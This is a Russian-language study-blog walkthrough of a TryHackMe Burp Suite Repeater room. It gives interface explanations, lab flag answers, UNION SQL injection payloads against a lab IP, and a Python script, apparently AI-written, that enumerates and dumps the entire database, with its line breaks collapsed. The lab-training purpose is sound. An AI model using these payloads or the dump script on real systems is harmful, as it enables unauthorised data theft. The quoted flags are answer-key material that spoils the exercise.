obuchenie_post
Today

День 37. Burp Suite: Repeater

Узнайте, как использовать Repeater для дублирования запросов в Burp Suite.

1. Введение

Добро пожаловать в комнату Burp Suite Repeater!

В этой комнате мы рассмотрим расширенные возможности фреймворка Burp Suite, сосредоточившись на модуле Burp Suite Repeater. Опираясь на базовые знания, полученные в комнате «Основы Burp» , мы углубимся в мощные функции инструмента Repeater. Вы узнаете, как обрабатывать и повторно отправлять перехваченные запросы, а также мы рассмотрим различные опции и функции, доступные в этом замечательном модуле. На протяжении всей комнаты мы будем приводить практические примеры, включая упражнение из реальной жизни, чтобы закрепить ваше понимание обсуждаемых концепций.

Если вы новичок в Burp Suite или еще не прошли базовый курс Burp Basics, мы рекомендуем сделать это перед продолжением. Базовый курс Burp Basics дает необходимые знания для этого курса и улучшит ваш опыт обучения.

Разверните целевую виртуальную машину, подключенную к этой задаче, нажав зеленую кнопку «Запустить машину» . Также запустите AttackBox, нажав синюю кнопку «Запустить AttackBox» в верхней части этого окна, если вы используете не свою собственную машину. Затем запустите Burp и следуйте инструкциям в следующих задачах.

2. Что такое ретранслятор?

Прежде чем использовать Burp Suite Repeater, давайте ознакомимся с его назначением и функционалом.

По сути, Burp Suite Repeater позволяет нам изменять и повторно отправлять перехваченные запросы на выбранный нами целевой адрес. Он позволяет нам брать запросы, перехваченные в Burp Proxy , и манипулировать ими, отправляя их многократно по мере необходимости. В качестве альтернативы мы можем вручную создавать запросы с нуля, аналогично использованию инструмента командной строки, такого как cURL.

Возможность редактировать и повторно отправлять запросы несколько раз делает Repeater незаменимым инструментом для ручного исследования и тестирования конечных точек. Он предоставляет удобный графический интерфейс для создания полезной нагрузки запросов и предлагает различные варианты отображения ответа, включая механизм рендеринга для графического представления.

Интерфейс ретранслятора состоит из шести основных разделов, как показано на приведенной ниже схеме с пояснениями:

  1. Список запросов : Расположен в верхнем левом углу вкладки и отображает список запросов к ретранслятору. Можно обрабатывать несколько запросов одновременно, и каждый новый запрос, отправленный в ретранслятор, будет отображаться здесь.
  2. Элементы управления запросами : Расположенные непосредственно под списком запросов, эти элементы управления позволяют отправлять запросы, отменять зависшие запросы и перемещаться по истории запросов.
  3. Разделы «Запрос» и «Ответ» : Занимая большую часть интерфейса, этот раздел отображает запросы и ответы . В разделе «Запрос» можно отредактировать запрос, а затем переслать его, при этом соответствующий ответ будет отображен в разделе «Ответ».
  4. Параметры компоновки : Расположенные в правом верхнем углу окна «Запрос/Ответ», эти параметры позволяют настроить компоновку окон «Запрос» и «Ответ». По умолчанию используется горизонтальная компоновка, но можно также выбрать вертикальную компоновку или объединить окна в отдельные вкладки.
  5. Инспектор : Расположенный справа, Инспектор позволяет анализировать и изменять запросы более интуитивно понятным способом, чем при использовании стандартного редактора. Мы рассмотрим эту функцию в одном из последующих заданий.
  6. Поле « Цель » расположено над инспектором и указывает IP-адрес или домен, на который отправляются запросы. Когда запросы в Repeater отправляются из других компонентов Burp Suite , это поле заполняется автоматически.

Вопрос: Какие разделы обеспечивают более интуитивно понятное управление нашими запросами?

Ответ: Inspector

3. Основные правила использования

На данный момент нам известен интерфейс приложения, но как эффективно его использовать?

Хотя ручное создание запросов является одним из вариантов, чаще всего запрос перехватывается с помощью модуля Proxy , а затем передается в Repeater для дальнейшего редактирования и повторной отправки.

После того как запрос будет перехвачен модулем Proxy , мы можем отправить его в Repeater, щелкнув правой кнопкой мыши по запросу и выбрав «Отправить в Repeater» , или используя сочетание клавиш Ctrl + R.

Вернувшись к Repeater, мы видим, что наш перехваченный запрос теперь доступен в представлении Request:

Теперь в разделах «Цель» и «Инспектор» отображается соответствующая информация, хотя ответа пока нет. После нажатия кнопки «Отправить» быстро заполняется окно «Ответ»:

Если мы захотим изменить какой-либо аспект запроса, мы можем просто ввести текст в поле «Запрос» и снова нажать «Отправить» . Это действие соответствующим образом обновит поле «Ответ» справа. Например, изменение заголовка «Соединение » с «close» на «open» приведет к получению ответа с заголовком «Соединение» , содержащим значение «keep-alive»:

Кроме того, мы можем использовать кнопки истории, расположенные справа от кнопки «Отправить», для навигации по истории изменений, что позволяет нам перемещаться вперед или назад по мере необходимости.

Вопрос: Какое представление будет заполнено при отправке запроса из модуля Proxy в Repeater?

Ответ: Request

4. Панель инструментов анализа сообщений

Repeater предоставляет нам различные варианты отображения запросов и ответов, от шестнадцатеричного вывода до полностью отрисованной страницы.

Чтобы ознакомиться с этими возможностями, можно обратиться к разделу, расположенному над полем для ответа, где доступны следующие четыре кнопки просмотра:

Нам предлагаются следующие варианты отображения:

  1. Pretty : Это вариант по умолчанию, который берет исходный ответ и применяет к нему небольшие улучшения форматирования для повышения читаемости.
  2. Raw : Этот параметр отображает неизмененный ответ, полученный непосредственно от сервера, без какого-либо дополнительного форматирования.
  3. Шестнадцатеричный режим : Выбрав этот режим, мы можем просмотреть ответ в байтовом представлении, что особенно полезно при работе с бинарными файлами.
  4. Рендеринг : Опция рендеринга позволяет визуализировать страницу так, как она будет выглядеть в веб-браузере. Хотя она не часто используется в Repeater, поскольку мы обычно фокусируемся на исходном коде, она все же представляет собой ценную функцию. В большинстве случаев достаточно опции Pretty . Однако полезно ознакомиться с использованием остальных трех опций.

Рядом с кнопками просмотра, справа, находится кнопка «Показать непечатаемые символы» ( \n). Эта функция позволяет отображать символы, которые могут быть невидимы при использовании параметров «Красивый» или «Необработанный» . Например, каждая строка в ответе обычно заканчивается символами \r\n, представляющими собой возврат каретки с последующей новой строкой. Эти символы играют важную роль в интерпретации HTTP- заголовков.

Хотя для большинства задач этот вариант не является обязательным, в определенных ситуациях он может оказаться полезным.

Вопрос: Какой из вариантов позволяет визуализировать страницу так, как она будет выглядеть в веб-браузере?

Ответ: Render

5. Инспектор

Инспектор — это дополнительная функция к представлениям запросов и ответов в модуле Repeater. Он также используется для получения визуально организованной разбивки запросов и ответов, а также для экспериментов, чтобы увидеть, как изменения, внесенные с помощью Инспектора более высокого уровня, влияют на эквивалентные исходные версии.

Инспектор можно использовать как в модуле Proxy , так и в модуле Repeater. В обоих случаях он расположен в правой части окна и отображает список компонентов запроса и ответа:

Среди этих компонентов обычно можно изменять разделы, относящиеся к запросу, что позволяет добавлять, редактировать и удалять элементы. Например, в разделе «Атрибуты запроса » можно изменять элементы, связанные с местоположением, методом и протоколом запроса. Это включает в себя изменение требуемого ресурса для получения данных, изменение метода HTTP с GET на другой вариант или переключение протокола с HTTP /1 на HTTP /2.

К другим разделам, доступным для просмотра и/или редактирования, относятся:

  1. Параметры запроса: это данные, отправляемые на сервер через URL. Например, в GET-запросе, таком как `<URL>` https://admin.tryhackme.com/?redirect=false, параметр запроса ` redirect` имеет значение `false`.
  2. Параметры тела запроса: Аналогично параметрам запроса, но специфичны для POST-запросов. Любые данные, отправленные в рамках POST-запроса, будут отображаться в этом разделе, что позволит нам изменить параметры перед повторной отправкой.
  3. Запрос файлов cookie: В этом разделе представлен изменяемый список файлов cookie, отправляемых с каждым запросом.
  4. Заголовки запроса: Они позволяют нам просматривать, получать доступ и изменять (включая добавление или удаление) любые заголовки, отправляемые с нашими запросами. Редактирование этих заголовков может быть полезным при изучении того, как веб-сервер реагирует на неожиданные заголовки.
  5. Заголовки ответа: В этом разделе отображаются заголовки, возвращаемые сервером в ответ на наш запрос. Изменить их невозможно, поскольку мы не контролируем заголовки, возвращаемые сервером. Обратите внимание, что этот раздел становится видимым только после отправки запроса и получения ответа.

Хотя текстовое представление этих компонентов можно найти в представлениях «Запрос» и «Ответ», табличный формат Инспектора предоставляет удобный способ визуализации и взаимодействия с ними. Экспериментирование с добавлением, удалением и изменением заголовков в Инспекторе помогает понять, как изменяется соответствующая исходная версия в ответе.

Вопрос: Какой раздел в Инспекторе отвечает именно за POST-запросы?

Ответ: Body Parameters

6. Практический пример

Repeater особенно хорошо подходит для задач, требующих многократной отправки аналогичных запросов, как правило, с незначительными изменениями. Это особенно полезно для таких действий, как ручное тестирование на уязвимости SQL- инъекций (будет рассмотрено в следующем задании), попытки обойти фильтры брандмауэра веб-приложений или корректировка параметров при отправке формы.

Начнём с предельно простого примера: использование Repeater для изменения заголовков запроса, отправляемого целевому объекту.

Перехватите запрос http://10.49.156.244/в модуле Proxy и отправьте его в Repeater.

Отправьте запрос один раз из Repeater — в окне ответа вы должны увидеть исходный HTML-код запрошенной страницы.

Попробуйте просмотреть это в одном из других режимов отображения (например, в шестнадцатеричном).

С помощью инспектора (или вручную, если хотите) добавьте заголовок с именем FlagAuthorisedи установите для него значение True, как показано ниже:

Добавлен заголовок с флагом FlagAuthorised.

GET / HTTP/1.1
Host: 10.49.156.244
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:80.0) Gecko/20100101 Firefox/80.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
FlagAuthorised: True

Вопрос: Какой флаг вы получаете?

Ответ: THM{Yzg2MWI2ZDhlYzdlNGFiZTUzZTIzMzVi}

7. Испытание

В предыдущем задании мы продемонстрировали использование Repeater, добавив заголовок и отправив запрос. Это послужило наглядным примером использования Repeater. Теперь настало время для простого задания!

Для начала убедитесь, что перехват отключен в вашем модуле проксиhttp://10.49.156.244/products/ , и перейдите по ссылке . Затем попробуйте нажать на некоторые из ссылок « Посмотреть больше» .

Обратите внимание, что вас перенаправляет на числовой адрес (например, /products/3).

Цель состоит в том, чтобы проверить конечную точку, подтвердив существование числа, к которому вы хотите перейти, и убедившись, что это допустимое целое число. Однако следует учитывать, что может произойти, если эта конечная точка не будет должным образом проверена.

пробуем -1

флаг

Снова включите перехват и зафиксируйте запрос к одной из конечных точек числовых продуктов в модуле Proxy, а затем перенаправьте его в Repeater.

Попробуйте добиться от сервера ошибки "500 Internal Server Error", изменив число в конце запроса на "экстремальные входные данные".

Вопрос: Какой флаг вы получаете, когда вызываете ошибку 500 на конечной точке?

Ответ:THM{N2MzMzFhMTA1MmZiYjA2YWQ4M2ZmMzhl}

8. Вызов «Преодолеть лишнюю милю»

Вызов «Преодолеть лишнюю милю»

Это задание предназначено для проверки ваших навыков в несколько более сложной, реальной ситуации с использованием Burp Repeater. Если вы обладаете опытом самостоятельного выполнения SQL- инъекции вручную, вы можете перейти к последнему вопросу и выполнить это задание вслепую. Однако, если вам потребуется помощь, ниже будет предоставлено подробное пошаговое руководство. ( ТАК И СДЕЛАЕМ)

Необходимые предварительные знания

Прежде чем приступить к выполнению этого задания, рекомендуется ознакомиться с принципами SQL- инъекций. Если вы еще этого не сделали, пожалуйста, посетите раздел, посвященный этой теме. Хотя будет предоставлено подробное пошаговое руководство, базовое понимание принципов SQL - инъекций окажется полезным для выполнения этого задания.

Цель испытания

В этом задании ваша задача — выявить и использовать уязвимость типа Union SQL Injection, присутствующую в параметре ID конечной /about/IDточки. Используя эту уязвимость, вы должны осуществить атаку для получения информации о генеральном директоре, хранящейся в базе данных.

Пошаговое руководство

Мы знаем, что существует уязвимость, и знаем, где она находится. Теперь нам просто нужно её использовать!

Начнём с перехвата запроса http://10.49.156.244/about/2в Burp Proxy. После перехвата запроса отправьте его в Repeater, используя команду `send` Ctrl + Rили щёлкнув правой кнопкой мыши и выбрав «Отправить в Repeater».

Теперь, когда наш запрос подготовлен, давайте подтвердим наличие уязвимости. Добавление одного апострофа ( ') обычно достаточно, чтобы сервер выдал ошибку при наличии простой SQL-инъекции, поэтому, используя Инспектор или отредактировав путь запроса вручную, добавьте апостроф после "2" в конце пути и отправьте запрос:

Запрос заголовков из нашего браузера

GET /about/2 ' HTTP/1.1
Хост: 10.49.156.244
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:80.0) Gecko/20100101 Firefox/80.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Соединение: закрыто
Запросы на обновление, небезопасные и некорректные: 1

Вы должны увидеть, что сервер отвечает ошибкой "500 Internal Server Error", что указывает на то, что мы успешно прервали выполнение запроса:

Заголовки ответа от сервера

HTTP/1.1 500 INTERNAL SERVER ERROR<
Server: nginx/1.18.0 (Ubuntu)
Date: Mon, 16 Aug 2021 23:05:21 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 3101

Если мы проанализируем тело ответа сервера, то примерно на 40-й строке увидим нечто очень интересное. Сервер сообщает нам, какой запрос мы пытались выполнить:

Чрезмерно подробное сообщение об ошибке, отображающее запрос.

<h2>
    <code>Invalid statement: 
        <code>SELECT firstName, lastName, pfpLink, role, bio FROM people WHERE id = 2'</code>
    </code>
</h2>

Это крайне полезное сообщение об ошибке, которое сервер ни в коем случае не должен нам отправлять, но тот факт, что оно у нас есть, значительно упрощает нашу работу.

В сообщении содержится несколько важных сведений, которые окажутся бесценными при использовании этой уязвимости:

  • Таблица базы данных, из которой мы выбираем данные, называется people.
  • Запрос выбирает пять столбцов из таблицы: firstName, lastName, pfpLink, role, и bio. Мы можем предположить, где они будут расположены на странице, что будет полезно при выборе места для размещения наших запросов.

Имея эту информацию, мы можем пропустить этапы перечисления номеров столбцов запроса и имен таблиц.

Хотя нам удалось значительно сократить количество необходимых здесь перечислений, нам все еще нужно найти название целевого столбца.

Зная имя таблицы и количество строк, мы можем использовать объединенный запрос (UNION) для выбора имен столбцов таблицы peopleиз columnsтаблицы в information_schemaбазе данных по умолчанию.

Простой запрос для этого выглядит следующим образом:
/about/0 UNION ALL SELECT column_name,null,null,null,null FROM information_schema.columns WHERE table_name="people"

Это создает объединенный запрос и выбирает целевой столбец, а затем четыре столбца со значением NULL (чтобы избежать ошибки запроса). Обратите внимание, что мы также изменили ID, из которого выбираем данные, 2на 0. Установив ID на недопустимое число, мы гарантируем, что не получим ничего с помощью исходного (легитимного) запроса; это означает, что первая строка, возвращенная из базы данных, будет желаемым ответом от внедренного запроса.

Проанализировав полученный ответ, мы видим, что название первого столбца ( id) было вставлено в заголовок страницы:

Название столбца "id" в заголовке ответа

HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Mon, 16 Aug 2021 22:12:36 GMT
Content-Type: text/html; charset=utf-8
Connection: close
Front-End-Https: on
Content-Length: 3360


<!DOCTYPE html>
<html lang=en>
    <head>
        <title>
            About | id None
        </title>
-----

Нам удалось успешно извлечь имя первого столбца из базы данных, но теперь возникла проблема. На странице отображается только первый совпадающий элемент — нам нужно увидеть все совпадающие элементы.

К счастью, мы можем использовать SQL-инъекцию для группировки результатов. Мы по-прежнему можем получать только один результат за раз, но, используя функцию group_concat() , мы можем объединить все имена столбцов в один результат:
/about/0 UNION ALL SELECT group_concat(column_name),null,null,null,null FROM information_schema.columns WHERE table_name="people"

Этот процесс показан ниже:

Мы успешно определили восемь столбцов в этой таблице: id, firstName, lastName, pfpLink, role, shortRole, bio, и notes.

Учитывая поставленную задачу, кажется вполне вероятным, что целевым столбцом будет notes.

Наконец, мы готовы извлечь флаг из этой базы данных — у нас есть вся необходимая информация:

  • Название таблицы: people.
  • Название целевого столбца: notes.
  • Идентификатор генерального директора — 1; его можно найти, просто щелкнув по профилю Джеймсона Вулфа на /about/странице и проверив идентификатор в URL-адресе.

Давайте составим запрос для извлечения этого флага:
0 UNION ALL SELECT notes,null,null,null,null FROM people WHERE id = 1

И вуаля, у нас есть флаг!

ОТ сюда начнем крутить скулю

ставим ' в запросе. и получаем 500

Проанализировав ответ видим запрос к бд

пробуем посмотреть колонки

имя первого столбца из базы данных, но теперь возникла проблема. На странице отображается только первый совпадающий элемент — нам нужно увидеть все совпадающие элементы.

0 UNION ALL SELECT group_concat(column_name),null,null,null,null FROM information_schema.columns WHERE table_name="people"

Получили id,firstName,lastName,pfpLink,role,shortRole,bio,notes

Мы успешно определили восемь столбцов в этой таблице: id, firstName, lastName, pfpLink, role, shortRole, bio, и notes.

Учитывая поставленную задачу, кажется вполне вероятным, что целевым столбцом будет notes.

Наконец, мы готовы извлечь флаг из этой базы данных — у нас есть вся необходимая информация:

  • Название таблицы: people.
  • Название целевого столбца: notes.
  • Идентификатор генерального директора — 1; его можно найти, просто щелкнув по профилю Джеймсона Вулфа на /about/странице и проверив идентификатор в URL-адресе.

Давайте составим запрос для извлечения этого флага:
0 UNION ALL SELECT notes,null,null,null,null FROM people WHERE id = 1

попробуем еще получить название бд и все содержимое

даем команду ИИ сделать нам скрипт который откроет нам всю бд

#!/usr/bin/env python3 """ UNION-based SQL Injection exploitation script. For educational / CTF lab use only.

Injection point: GET /about/0 UNION ALL SELECT <col1>,null,null,null,null [FROM ... WHERE ...]

The FROM/WHERE clause must go AFTER all five columns, not inside column 1. """

import requests import re import sys

# ─── CONFIG ─────────────────────────────────────────────────────────── TARGET = "http://10.49.156.244" TIMEOUT = 10 SEP = "0x7C" # | — group_concat separator ROW_SEP = "0x0A" # \n COL_SEP = "0x203A20" # ' : '

TITLE_RE = re.compile(r"<title>\s*About \| (.+?) None\s*</title>", re.DOTALL) H1_RE = re.compile(r'<h1[^>]*>(.+?) None</h1>', re.DOTALL)

def inject(select_expr: str, from_where: str = "") -> str: """ Build: /about/0 UNION ALL SELECT {select_expr},null,null,null,null {from_where} """ path = f"/about/0 UNION ALL SELECT {select_expr},null,null,null,null" if from_where: path += f" {from_where}" url = TARGET + path r = requests.get(url, timeout=TIMEOUT) for regex in (TITLE_RE, H1_RE): m = regex.search(r.text) if m: return m.group(1).strip() return ""

def banner(msg: str): print(f"\n{'=' * 60}\n {msg}\n{'=' * 60}")

def main(): # ── 1. Current database ────────────────────────────────────── banner("CURRENT DATABASE") db = inject("database()") print(f" [+] {db}") if not db: sys.exit("[!] Could not retrieve DB name.")

# ── 2. All databases ───────────────────────────────────────── banner("ALL DATABASES") dbs = inject( f"group_concat(schema_name SEPARATOR {SEP})", "FROM information_schema.schemata" ) for d in dbs.split("|"): marker = " <<<" if d.strip() == db else "" print(f" - {d.strip()}{marker}")

# ── 3. Tables in current DB ────────────────────────────────── banner(f"TABLES IN `{db}`") tables_raw = inject( f"group_concat(table_name SEPARATOR {SEP})", f'FROM information_schema.tables WHERE table_schema="{db}"' ) tables = [t.strip() for t in tables_raw.split("|") if t.strip()] for t in tables: print(f" - {t}") if not tables: sys.exit("[!] No tables found.")

# ── 4. For each table: columns + dump ──────────────────────── for table in tables: # 4a. Columns banner(f"COLUMNS IN `{table}`") cols_raw = inject( f"group_concat(column_name SEPARATOR {SEP})", f'FROM information_schema.columns WHERE table_schema="{db}" AND table_name="{table}"' ) columns = [c.strip() for c in cols_raw.split("|") if c.strip()] for c in columns: print(f" - {c}")

if not columns: print(" [!] No columns — skipping dump.") continue

# 4b. Dump rows banner(f"DATA IN `{table}`") col_expr = "concat_ws(" + COL_SEP + "," + ",".join(columns) + ")" data = inject( f"group_concat({col_expr} SEPARATOR {ROW_SEP})", f"FROM `{db}`.`{table}`" ) if data: header = " : ".join(columns) print(f" {header}") print(f" {'-' * len(header)}") for i, row in enumerate(data.split("\n"), 1): print(f" [{i:>3}] {row}") else: print(" (empty)")

print(f"\n{'=' * 60}\n DONE\n{'=' * 60}\n")

if __name__ == "__main__": main()

Получаем всю бд

Скрипт отработал отлично — вся БД извлечена. Вот краткая сводка:

База данных: site Таблица: people (8 колонок, 6 строк)

Флаг найден в колонке notes у CEO (id=1):

THM{ZGE3OTUyZGMyMzkwNjJmZjg3Mzk1NjJh}

Это запись Jameson Wolfe — Co-Founder & CEO, как и требовалось по заданию. У остальных сотрудников поле notes пустое.

Вопрос: Воспользуйтесь уязвимостью SQL-инъекции типа union на сайте.

Ответ: THM{ZGE3OTUyZGMyMzkwNjJmZjg3Mzk1NjJh}

9. Заключение

Поздравляем с завершением обустройства комнаты Burp Suite Repeater!

К этому моменту у вас должно быть четкое понимание того, как эффективно использовать Repeater для редактирования, обработки и повторной отправки запросов. Кроме того, вы должны были получить представление о многочисленных практических применениях этого инструмента.

В следующем зале модуля мы рассмотрим модуль Burp Suite Intruder. Intruder позволяет проводить автоматизированные и настраиваемые атаки, что делает его мощным инструментом для различных сценариев тестирования безопасности.

Удачи в следующей комнате и приятного изучения возможностей Burp Suite Intruder !


Основная группа обучения ИБ
Lab-группу с полезным софтом / книгами / аудио.
Чат для обсуждений, задавай свои вопросы.
P.S. С вами был @Fnay_Offensive
До новой встречи, user_name!